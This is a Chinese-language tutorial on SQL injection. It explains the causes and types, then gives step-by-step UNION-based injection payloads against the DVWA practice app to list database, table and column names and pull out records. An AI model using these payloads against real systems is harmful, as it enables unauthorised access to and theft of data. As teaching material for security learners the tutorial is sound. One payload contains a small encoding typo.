一、SQL注入的简单介绍
1、简介:
SQL是操作数据库数据的结构化查询语句,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。
2、产生原因:
程序没有对用户输入数据的合法性进行验证和过滤,导致SQL查询语句被恶意拼接从而产生SQL注入。
3、原理:
攻击者可以在事先定义好的查询语句的结尾上添加额外的SQL语句,从而对数据库服务器执行非授权的任意查询,获得相应的数据信息。
4、分类:
根据注入位置分类:
①GET注入:注入点在URL中
②POST注入:注入点在POST提交的数据中
③Head头注入:注入点在请求头中
根据结果反馈分类:
①有回显注入(显错注入):执行语句后可以把具体内容反馈出来
②无回显注入(盲注):执行语句后不会把具体内容反馈出来
根据数据类型分类:
①字符型注入:输入参数为字符串,且必须用单引号进行闭合
②数字型注入:输入参数为整型,且不需要用单引号进行闭合
5、注入方法:
看测试语句是否被执行,如果被执行了则说明存在SQL注入漏洞。(可用'和''进行测试)
二、联合查询注入
1、判断是否存在注入:
利用单引号'或双引号"来判断是否存在漏洞 (SQL中引号是成双成对出现的)
假设后端的SQL语句为:
SELECT first_name, last_name FROM users WHERE user_id = '$id'
(注意后端中id值是自带引号的)
a.输入以下语句进行测试
SELECT first_name, last_name FROM users WHERE user_id = '1'
b.把数字1改成1'再进行测试
SELECT first_name, last_name FROM users WHERE user_id ='1''
可以发现此时多了一个引号就会进行报错了,由数据库的报错可以说明用户是可以对原来的查询语句进行修改,则表明存在漏洞。
2、 判断注入类型:
使用 1 and 1=1 、1 and 1=2 、1' and '1' = '1 、1' and '1' = '2 进行判断
a.输入1 and 1=1和1 and 1=2 发现页面均显示正常
b.尝试输入 1 ' and '1' = '1 和 1 ' and '1' = ' 2,发现前面可以显示出来,但是后面不可以
说明单引号起作用了,可以得知为字符型注入
注:and前后必须同时为真结果才返回为真
这里就需要引入MYSQL的隐式类型转换知识:第一个数如果不是数字的话后面部分就全部舍弃
'1abcd'==>1
'abcd'==>0
'12abcd'==>12
'1abc2d'==>1
3、判断表中列数:
利用order by 数字 来判断表中的列数,如果大于所要查询的列数就会报错
a.输入1' order by 4# ,发现未知列数,则说明列数不为4
b. 输入1' order by 2# ,显示成功,说明列数为2列
值得注意的是,#在URL地址栏中会自动转化成 “%23”
所以如果在URL中输入1#2,则会显示1(即#不起作用);输入1%23 2,则会显示1#2
a.在URL中输入#
此时#不起作用,即多了一个单引号,但是并没有注释掉,所以页面报错
b.在URL中输入%23
可以发现此时#起了注释作用,所以可以成功访问
4、确定显示位:
服务端执行SQL语句查询数据,而客户端将数据展示在页面中,展示数据的位置就叫显示位。
UNION结果集中的列名等于UNION中第一个SELECT语句中的列名,UNION内部的SELECT语句必须拥有相同数量的列
a.输入1' union select 1,2%23时,发现1和2都显示了。
(我们一般不查询union左边的内容,所以让union左边的select子句查询为空,这样右边的查询结果就变成了第一行,所以可以将其id值改为负数或很大的数)
5、获取数据:
①获取数据库名:
输入-1' union select 1,database()%24
②获取数据库中表名:
输入-1' union select 1, table_name from information_schema.tables where table_schema='dvwa'%23
③获取表中字段名(列):
输入-1'union select 1,column_name from information_schema.columns where table_name='guestbook' and table_schema='dvwa'%23
④获取表中记录:
a.输入-1'union select 1,comment from guestbook%23
b.一行只能获取2个显示位,若要获取表中所有记录,则使用group_concat(),将多行合并成一行。
输入-1'union select 1,group_concat(comment_id,comment,name) from guestbook%23
(参考文章:蚁景网安学院)